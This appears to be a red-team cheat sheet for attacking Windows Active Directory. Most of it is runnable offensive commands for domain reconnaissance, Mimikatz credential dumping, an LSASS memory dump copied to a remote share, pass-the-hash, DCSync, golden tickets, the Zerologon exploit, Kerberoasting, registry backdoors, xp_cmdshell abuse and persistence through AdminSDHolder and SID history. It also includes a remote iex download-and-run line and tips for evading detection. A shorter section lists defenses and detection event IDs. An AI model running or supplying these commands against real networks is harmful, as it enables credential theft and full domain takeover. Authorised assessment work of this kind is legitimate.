boh / OffensiveActiveDirectory

A set of instructions, command and techniques that help during an Active Directory Assessment.

Offensive Active Directory

Summary

This document is designed to be a used in a red team assesment and contains commands, tools and methods with which anyone can attack and defend active directory.

• Tools
• Domain Recon
  • To Query Active Directory
  • Domain Enumeration
  • Domain Recon
    • Enumerate usernames
    • enum4linux
    • Extract machine usernames (user$) from above
    • Masscan all "user$.domain_name" for open ports
    • Nmap all "user$.domain_name" for open ports
  • Get Default Domain Policies
  • Find Domain Controllers
• Trust Enumeration
• User Recon
• Computer Recon
• Groups Recon
• Memership Recon
• Group Policy Recon
  • Check policy from the server itself
• OU Recon
• Special Target Recon
  • Remote Registry and Local Administrator rights - PowerView
  • Find Servers with Shares
  • Get High-Value Target where multiple people login like file server
  • User Hunting
  • This invokes Get-NetComputer and uses Invoke-CheckLocalAdminAccess
  • This Looks for Domain Admin Sessions - Short Path
• Domain ACL Enumeration
  • SQL Server Recon
• Exploitation
  • PowerShell basics
  • Enable PS Remoting
  • Privilege Escalation - Local Admin
  • Reigstry Backdoors
  • Memory dump LOLBAS
  • Download a Program
  • Query Sessions
  • View passwords in cleartext
  • RDP without password
  • Gain foothold
  • ASEPRoast
  • Unconstrained Delegation
  • msDS-AllowedToDelegateTo
  • Trusts
    • Forest to Forest
  • Mimikatz
    • Remove protections such as PPL and bypass Credential Guard
  • Priv Escalation - AD
  • HeidiSQL Portable
• Persistence
  • Golden Ticket
  • WMI
  • AdminSDHolder
  • SID History
  • Enable DSRM Admin Login
• ACE Format
• Protection
  • Golden Ticket
  • Silver Ticket
  • Skeleton Key
  • DSRM Admin Logon Detection
  • Kerberoasting
  • Delegation defenses
  • ACL Attacks
  • SIDFiltering
  • ATA
  • LAPS
  • Credential Guard
  • Protected Users Group
  • Privileged Administrative Worksatations (PAWs)
    • GPO Protection
  • AD Security Model
    • Control Restrictions - What admins control
    • Logon Restrictions - Where admins can log-on to
    • Enhanced Security Admin Environment
  • Forest - a security boundary
  • PowerShell version 5
• Deception
  • Things to watch out to make deception real
• References - Wiki - DCShadow - BloodHound - CrackMapExec - EmPyre - Red Teaming AD (PDF) - Attack Methods - Domain Admin - Attacking Domain Trusts - Misc Tools/Scripts
  • Attack Kerberos
    • Protocol Info
    • Attacking Kerberos
    • Attack Kerberos w/o Mimikatz
    • Roasting AS-REPS
    • Kerberos Party Tricks
  • Persistence
    • AD Persistence
  • LLMNR/NetBios-NS spoofing
    • Responder
    • Metasploit
  • GPO
    • CPasswords
    • Detailed Group Policy Information
  • Privilege Escalation
    • Windows

Tools

• ADModule - Nikhil Mittal
• ADModule Microsoft Reference
• To audit GPO, use Grouper2
• PowerView
• PingCastle
• CrackMapExec
• AD Recon
• AD Explorer
• NetCease
• Impacket
• Evil-WinRM
• Mimikatz
• Rubeus
• Kerbrute
• Bloodhound

Domain Recon

To Query Active Directory

• [ADSI]
• System.DirectoryServices.ActiveDirectory
• Powershell AD Module
• PowerView
  • When using PowerView beware of AVs / EDR you can use SharpView or modify it for own use.
• Bloodhound
  • These days many environments have deception solutions / Microsoft ATA or similar software that detect bloodhoound data collection. Be careful when you use this.

Domain Enumeration

• Gets you the domain name

$ADClass = [System.DirectoryServices.ActiveDirectory.Domain]
$ADClass::GetCurrentDomain()

Domain Recon

• Gets you the domain information
• ADModule

Get-ADDomain
Get-ADDomain -Identity security.local
(Get-ADDomain).DomainSID

Enumerate usernames

• https://github.com/skorov/ridrelay

enum4linux

• https://highon.coffee/blog/enum4linux-cheat-sheet/

Extract machine usernames (user$) from above

Masscan all "user$.domain_name" for open ports

masscan --rate 100000 -e eth0 --ports<port range> --open-only <SCAN RANGE>

• Common ports: 21, 22, 23, 25, 53, 80, 443, 445, 3389, etc

• Reference: https://github.com/robertdavidgraham/masscan

Nmap all "user$.domain_name" for open ports

• Nmap all "user$.domain_name" for open ports/services

• Tuned Nmap

  nmap -Pn -n -A -T4 --top-ports=1000 --max-rtt-timeouts=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=2--ms --open --stats-every 5s <IP/Range>
  

Get Default Domain Policies

• Gets you the domain policies related to kerberos
• PowerView

Get-DomainPolicy
(Get-DomainPolicy)."System Access"
(Get-DomainPolicy)."Kerberos Policy"

Find Domain Controllers

• Gets the Domain Controller you are connected to
• AD Module

Get-ADDomainController

Trust Enumeration

• Powerview

Get-NetDomainTrust
Get-NetDomainTrust -Domain security.local
Get-NetForestTrust

• AD Module

Get-ADForest
Get-ADForest -Identity security.local
(Get-ADForest).Domains
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

User Recon

• AD Module

Get-ADUser -Filter * -Properties *
Get-ADUser -Identity domainAdmin -Properties *
Get-ADUser -Server DC.security.local
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberName *Properties | select name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}

• Look at logoncount, badpwdcount, pwdlastset find real users and dodge fake and decoy users.
• AD Module

Get-ADUser -Filter 'If you have a filter' -Properties Description | select name,Description | Export-CSV "Description.csv"

• This will generate a 4662, which you can look for with the command

(Get-EventLog -LogName Security | Where-Object {$_.EventID -eq 4662} | 
Select-Object -Property Category,Index,TimeGenerated,
EntryType,Source,InstanceID,Message) -match "domainAdminn" | Format-Table -AutoSize

Computer Recon

• AD Module

Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter * | select name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}

Groups Recon

• AD Module

Get-ADGroup -Filter * | select name 
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
Get-ADGroupMember -Identity 'Administrators' -Recursive -Server <> | % {Get-ADUser $_ -prop ServicePrincipalName} | Where {$_.ServicePrincipalName}

• Key Admins and Enterprise Key Admins introduced from Windows Server 2016

Memership Recon

• Look for IsGroup - Groupception i.e. where groups are a part of groups.
• Built-in admins renaming is useless as it will have 500 as SID ending. Use this technique if you can't find the built-in administratrator by name.
• Recursive gets the details of sub existing groups as well
• AD Module

Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership -Identity domainAdmin

• Powersploit

Get-NetGroupMember -GroupName '*Admin' -Domain security.local | Select-Object MemberName

• Filter based script

$Groups = Get-ADGroup -Filter * -SearchBase "OU=confidential,DC=security,DC=local"
$Members = foreach ($Group in $Groups)
{
    Get-ADGroupMember -Identity $Group |
    Where-Object objectClass -eq 'Group' |
    Select-Object Name,SamAccountName
}
Write-Output $Members

Group Policy Recon

• AD Module

Get-GPO -All
Get-GPResultatnSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

• PowerView

Get-NetGPO | select dispalyname
Get-NetGPO -ComputerName <>
Get-NetGPOGroup

Check policy from the server itself

gpresult /R /V
Find-GPOComputerAdmin -Computername <>
Find-GPOLocation -UserName domainAdmin -Verbose

OU Recon

• PowerView

Get-NetOU -FullData
Get-NetOU -GPOname "{GUID}"

• AD Module

Get-ADOrganizatioalUnit -Filter * -Properties *
Get-GPO -Guid {GUID}

Special Target Recon

Remote Registry and Local Administrator rights - PowerView

• PowerView

Get-NetLoggedon -ComputerName 
Get-LoggedonLocal -ComputerName 
Get-LastLoggedOn -ComputerName

Find Servers with Shares

• PowerView

Invoke-ShareFinder -Verbose
Invoke-ShareFinder -Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC
Invoke-FileFinder -Verbose

Get High-Value Target where multiple people login like file server

• PowerView

Get-NetFileServer

User Hunting

• PowerView

Find-LocalAdminAccess -Verbose

This invokes Get-NetComputer and uses Invoke-CheckLocalAdminAccess

• PowerView

Find-WMILocalAdminAccess.ps1
Invoke-EnumerateLocalAdmin -Verbose

This Looks for Domain Admin Sessions - Short Path

• PowerView

Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -CheckAccess

Domain ACL Enumeration

Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=security,DC=local').Access
Get-ObjectAcl -ADSpath "LDAP://" -ResolveGUIs -Verbose
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\\security.local\sysvol"

SQL Server Recon

Get-SQLInstanceDomain
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Get-SQLServerLink

Exploitation

PowerShell basics

start powershell -credential ""
Enter-PSSession -ComputerName COMPUTER -Credential USER
Invoke-Command -ComputerName <> -ScriptBlock ${function:hello}
ls function:
Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -ComputerName <> 
Invoke-Mimikatz -DumpCreds -ComputerName
Exit-PSSession

Enable PS Remoting

• wsmprovhost is executed on a client computer when running PSRemoting
• PSExec

\PsExec.exe \\Computer -u domain\user -s powershell Enable-PSRemoting -Force
Invoke-WmiMethod -ComputerName <> -Namespace root\cimv2 -Class Win32_Process -Name Create -Credential "domain\user" -Impersonation 3 -EnableAllPrivileges -ArgumentList "powershell Start-Process powershell -Verb runAs -ArgumentList 'Enable-PSRemoting –force'"

• WMI

Invoke-WmiMethod -ComputerName localmachine.security.local -Namespace root\cimv2 -Class Win32_Process -Name Create -Credential "security.local\domainAdmin" -Impersonation 3 -EnableAllPrivileges -ArgumentList "powershell Start-Process powershell -Verb runAs -ArgumentList 'Enable-PSRemoting –force'"

Privilege Escalation - Local Admin

• PowerSploit

Get-ServiceUnquoted -Verbose
Get-ModifiableServiceFile -Verbose
Get-ModifiableService -Verbose

• WMI

Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"}

Reigstry Backdoors

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “cmd” /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

Memory dump LOLBAS

Rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\crash_dump.bin full
Copy-Item –Path C:\temp\crash_dump.bin –Destination '\\192.168.1.2\c$'

Download a Program

$url = "https://myhost.malware/file.exe"
$output = "./file.exe"
Invoke-WebRequest -Uri $url -OutFile $output

Query Sessions

query session
logoff ID

View passwords in cleartext

• Powershell as Admin

New-ItemProperty "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 1 -PropertyType "DWord"

• cmd as admin

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

RDP without password

• Enable Restricted Admin to RDP without password
• Enable RestrictedAdmin to login with NTLM hash and mstsc.exe /RestrictedAdmin
• Use mimikatz to PTH / PTT and launch mstsc.exe /RestrictedAdmin after adding this key.

REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

Gain foothold

• Reset password of users who have PASSWD_NOTREQD flag set and have never set a password.
• BONUS: if they are part of a group which have extended rights. You can also use this account to persist, just make sure this account is ancient.

Get-ADUser -Filter "useraccountcontrol -band 32" -Properties PasswordLastSet | Where-Object { $_.PasswordLastSet -eq $null } | select SamAccountName,Name,distinguishedname | Out-GridView 

ASEPRoast

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Add-Type -AssemblyName System.IndemtityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
Invoke-Mimikatz -Command '"kerberos::list /export"  
python tgsrepcrack.py wordlist.txt .kirbi
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth 
Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose
Get-ASREPHash -UserName -Verbose
Invoke-ASREPRoast -Verbose

Unconstrained Delegation

Get-NetComputer -UnConstrained
Get-NetUser -UnConstrained
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq True}
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

msDS-AllowedToDelegateTo

Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Trusts

Forest to Forest

• Read this for more info

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
lsadump::trust /patch
kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
.\asktgs.exe c:\temp\ticket.kirbi CIFS/DC.parent.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
dir \\machine.domain.local\c$

Mimikatz

Remove protections such as PPL and bypass Credential Guard

privilege::debug
!+
token::elevate
!processprotect /remove /process:LSASS.EXE
misc::memssp

• Dump passwords

Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonpasswords full"
Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::wdigest"

• MiniDump

privilege::debug
sekurlsa::minidump crash_dump.bin
sekurlsa::logonPasswords

• Pass the Hash

Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::pth /user:Administrateur /domain:security.local /ntlm:xxxxxxxxxxxxx"

• Export Tickets

Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::tickets /export"

• List Kerberos encryption keys

Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::ekeys"

• Credential Manager & DPAPI

dir \\192.168.1.2\c$\Users\<username>\AppData\Local\Microsoft\Credentials\*
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\164451c5ed8ad780d136e400bd0c50c8
Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::dpapi"
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\164451c5ed8ad780d136e400bd0c50c8 /masterkey:e605b19f96917ed2a29c816eb2f2cfdb85c9ba67379e62721b77b3ee0e23ec6e253ba6202a1595dc63083212d8933a11bc93fc85c5bac7f04406d5d5af2e57a3

• Vault

vault::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Vault\"

• List Kerberos credentials for all authenticated users (including services and computer account)

Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::kerberos"

• Dump all local credentials on a Windows computer

Invoke-Mimikatz -Command "token::elevate" "lsadump::sam"

• DCSync - Golden Ticket

mimikatz "lsadump::dcsync /domain:security.local /user:netbios\krbtgt"
.\mimikatz.exe kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt

• Zerologon

lsadump::zerologon /server:DC.security.local /account:DC$
lsadump::zerologon /server:DC.security.local /account:DC$ /exploit
lsadump::dcsync /domain:security.local /dc:DC /user:krbtgt /authuser:DC$ /authdomain:security /authpassword:"" /authntlm

Priv Escalation - AD

Rubues.exe monitor /interval:1 > tickets.txt
SpoolSample.exe target client

HeidiSQL Portable

select * from openquery("dcorp-sql1",'select * from masters..sysservers ')
Get-SQLServerLinkCrawl -Instance <> -Verbose
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;')AT("eu-sql")
Get-SQLServerLinkCrawl -Instance <> -Query "exec master ..xp_cmdshell 'whoami'"

Persistence

Golden Ticket

• Provide the new ID with ACLs to DCSync.
• Give yourself or the victim Replicate DC, Replicate All, Replicate In Filtered Set to DCSync.

Set-ADACL -DistinguishedName 'DC=SRV,DC=security,DC=local' -Principal domainAdmin -GUIDRight DCSync -Verbose
mimikatz "lsadump::dcsync /domain:security.local /user:netbios\krbtgt"

• krbtgt requires 2 reset to mitigate golden ticket
• Evade time based detection with renewmax
• Bypass the MaxTicketAge when creating a golden ticket and check for detection

kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt

kerberos::golden /user:Administrator /domain:security.local /sid:S-1-5-21-123456789-1234567890-1111112345 /aes128:xxxxx id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt

WMI

• Add WMI Rights on a DC as persistence and execute code wheneever you want.
• Add you account to dcomcnfg WMI -> Component Services (COM Security) and Comp Management (WMI Control - root namespace)

AdminSDHolder

• This privilege will not add the ID in the Domain Admin group, however allows the ID to modify the Domain Admins group.
• ADModule

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=SRV,DC=security,DC=local' -Principal domainAdmin -Verbose
Add-ADGroupMember -Identity 'Domain Admins' -Members testda -Verbose
Add-ObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=security,DC=local' -PrincipalIdentity hacker -Verbose -Rights All
Get-ObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=security,DC=local' -Verbose 

• Invoke-ADSDPropagation

powershell.exe iex (iwr 'https://raw.githubusercontent.com/edemilliere/ADSI/master/Invoke-ADSDPropagation.ps1')
Invoke-ADSDPropagation

SID History

• Modify the SIDHistory attribute of an ID to the SID of a privileged user.
• Allows the user to have high privileges without being a member of that group.
• Nice technique, however it is getting detected easily now.
• Check if domain / trust have SID Filtering enabled beforehand.

privilege::debug
token::elevate
sid::patch
sid::add /sam:"hacker" /new:S-1-5-21-123456789-1234567890-1111112345-519

Enable DSRM Admin Login

• Use mimikatz to dump the DSRM Admin password.
• This hash is never changed by SysAdmins as this is a recovery account.

privilege::debug
lsadump::sam

• Copy the NTLM Hash

Domain : SECURITY
SysKey : 48e9dfa91da8e1b32a38b9e45323e430
Local SID : S-1-5-21-123456789-1234567890-1111112345

SAMKey : 2c9d7841c1ab3a64b7e0f8d5ee3ad828

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: af5adaaf26ccc3fab908fcb5435b49d8

• PowerShell

New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD

• cmd

REG ADD HKLM\System\CurrentControlSet\Control\Lsa\ /v DsrmAdminLogonBehavior /t REG_DWORD /d 1 /f

ACE Format

• ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
• RACEToolkit

Protection

• Limit DAs login, if DA login is necessary donot allow other administrators to login to that machine.

• Never run service with a DA priv Add-ADGroupMember -Identity 'Domain Admins' -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)

Golden Ticket

• 4624: Account Logon
• 4634: Account Logoff
• 4672: Admin Logon

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List -Property *

Silver Ticket

• 4624: Account Logon
• 4634: Account Logoff
• No 4672 due to Silver Ticket

Skeleton Key

• System 7045 - A service was installed in the system
• 4673 - Sensitive Privilege Use
• 4611 - logon process reg with LSA

New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose

DSRM Admin Logon Detection

• 4657 - Audit creation/change of DSRMAdminLogonBehavior

Kerberoasting

• 4769 : kerberos ticket was requested
• Managed Service Accounts - Automatic change of password perodically
• Service name should not be krbtgt
• Service name should end with $
• account name should not be machine@domain
• Failure code is '0x0'
• Encryption type should be 0x17

Delegation defenses

• Account is sensitive and cannot be delegated for privileged accounts

ACL Attacks

• 4662 - An operation was performed on an object

• 5136 - A directory service object was modified

• 4670 - Permissions on object were changed

• 4780 - The ACL was set on accounts which are members of administrators groups

• 4756 - Account was added to security-enabled universal group

• http://github.com/canix1/ADACLScanner

SIDFiltering

• Enable SIDFiltering
• Selective Authentication

ATA

• 4776

• Builds profile over time

• UEBA in 4 weeks for org

• Lightweight gateway on DCs

• Ignore Get-NetGroupMember and Get-NetComputer

• Use AES256 and AES128 to bypass Over Pass The Hash Detection and Golden Ticket Detection

• Envrypted PA-DATA PA-ENC-TIMESTAMP

• Create Ticket for non-existent user

• DCSync is not spoofable until ST is used

• DCShadow is not detected, which allows DCSync

LAPS

• ms-mcs-AdmPwd
• ms-mcs-AdmPwdExpirationTime
• AdmPwd.dll
• Which users are allowed to view these LAPS

Credential Guard

• Blocks PTH and over PTH
• SAM and LSA Secrets are not protected
• Cannot be enabled over a domain controller as it breaks authentication over there

Protected Users Group

• Cannot use CredSSP and WDigest - clear text caching stop
• NTLM is not cached
• Kerberos doesnot use DES or RC4 keys
• If domain functional level is Sever 2012 R2
  • No NTLM Auth
  • No DES or RC4 keys
  • No delegation
  • No renewal of TGT
• MS to add DAs and EAs to this group without testing the impact of "lockout"

Privileged Administrative Worksatations (PAWs)

• Deploy PAWs like solution if possible

GPO Protection

• WMI Filtering
• Change machine policy for GPO to 'Domain Computers' and remove read for 'Authenticated Users' in GPO settings
• Add specific computers to GPO in filtering
• Attacker tip: write directly to SYSVOL to avoid GPO audit
• MS Pass the hash whitepaper

AD Security Model

• Tier 0 - Accounts, Groups and computers such as dc, da and ea
• Tier 1 - Accounts, Groups and computers such as local admin on multiple servers with business value
• Tier 2 - Administrative accounts such as help desk, support admin

Control Restrictions - What admins control

Logon Restrictions - Where admins can log-on to

Enhanced Security Admin Environment

Forest - a security boundary

• Administrative Forest called Red Forest
• Selective Authentication in Red Forest

PowerShell version 5

• 4104 Suspicious (Script Block Logging)
• Module is highest, System wide Script is high
• PSAmsi-Mimimizing-Obfuscation-To-Maximize-Stealth

Deception

• Password does not expire
• Trusted for Delegation
• Users with SPN
• Password in description
• High Privileged Users
• ACL rights over other users, groups or containers
• GenericRead for "Everyone"
• 4662 log - An operation was performed on an object
• x500uniqueIdentifier
• Older Operating Systems
• DCShadow for Deception - chances of auth failure
• Forest Admins
• Set Logon Workstation to a non-existent machine
• Deny logon to user
• 4768 Kerberos use
• Master user and Slave user
• Rights to GA - Slave user

Things to watch out to make deception real

• objectSID
• lastLogon, lastlogotimestamp
• Logoncount
• whenCreated
• Badpwdcount
• Honeypot buster tracks 6 logons

References

Wiki

• https://adsecurity.org/

DCShadow

• https://blog.alsid.eu/dcshadow-explained-4510f52fc19d

BloodHound

• Automating

• NTLM Relaying

• Automate BloodHound

• Extending

• Guide

CrackMapExec

• Intro

• Use case

EmPyre

• http://www.rvrsh3ll.net/blog/empyre/empyre-engaging-active-directory/

Red Teaming AD (PDF)

• https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf

• https://adsecurity.org/wp-content/uploads/2018/05/2018-NolaCon-Metcalf-ActiveDirectorySecurityTheJourney.pdf

Attack Methods - Domain Admin

• https://adsecurity.org/?p=2362

Attacking Domain Trusts

• https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944

Misc Tools/Scripts

• LOLBAS - Living Off The Land Binaries And Scripts

• https://github.com/0xdea/tactical-exploitation

Attack Kerberos

Protocol Info

• https://adsecurity.org/?p=227

Attacking Kerberos

• http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html?m=1

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

• https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html

• https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf

Attack Kerberos w/o Mimikatz

• http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

Roasting AS-REPS

• http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

Kerberos Party Tricks

• http://www.exumbraops.com/blog/2016/6/1/kerberos-party-tricks-weaponizing-kerberos-protocol-flaws

Persistence

AD Persistence

• Sneaky Tricks

LLMNR/NetBios-NS spoofing

Responder

• If SMB signing is disabled

  • https://g-laurent.blogspot.com/2016/10/introducing-responder-multirelay-10.html

Metasploit

• Spoof

  • auxiliary/spoof/llmnr/llmnr_response

  • auxiliary/spoof/nbns/nbns_response

• Capture

  • auxiliary/server/capture/smb

  • auxiliary/server/capture/http_ntlm

  • set JOHNPWFILE /tmp/smbhashes.john

• Reference

  • https://www.gracefulsecurity.com/stealing-accounts-llmnr-and-nbt-ns-poisoning/

  • https://www.pentestpartners.com/blog/how-to-get-windows-to-give-you-credentials-through-llmnr/

GPO

CPasswords

• GP3Finder - https://bitbucket.org/grimhacker/gpppfinder

gp3finder -A -t DOMAIN\_CONTROLLER -u DOMAINUSER\

• Locate SYSVOL

  • \\domain_controller\SYSVOL\DOMAIN_NAME\Policies

  • Metasploit GPP Module

  • Decrypt GPP Password

    • PowerSploit - Get-GPPPassword

Detailed Group Policy Information

gpresult \[/x\], \[/h\] <FILENAME>

• Reference: https://technet.microsoft.com/en-us/library/cc733160(v=ws.11).aspx

Privilege Escalation

Windows

• Helpful - https://www.gracefulsecurity.com/privilege-escalation-in-windows-domains/

• Powershell & C# - https://decoder.cloud/2018/02/02/getting-system/

• Mimikatz - https://www.gracefulsecurity.com/privesc-dumping-passwords-in-plaintext-mimikatz/

• Incognito - https://www.gracefulsecurity.com/privesc-stealing-windows-access-tokens-incognito/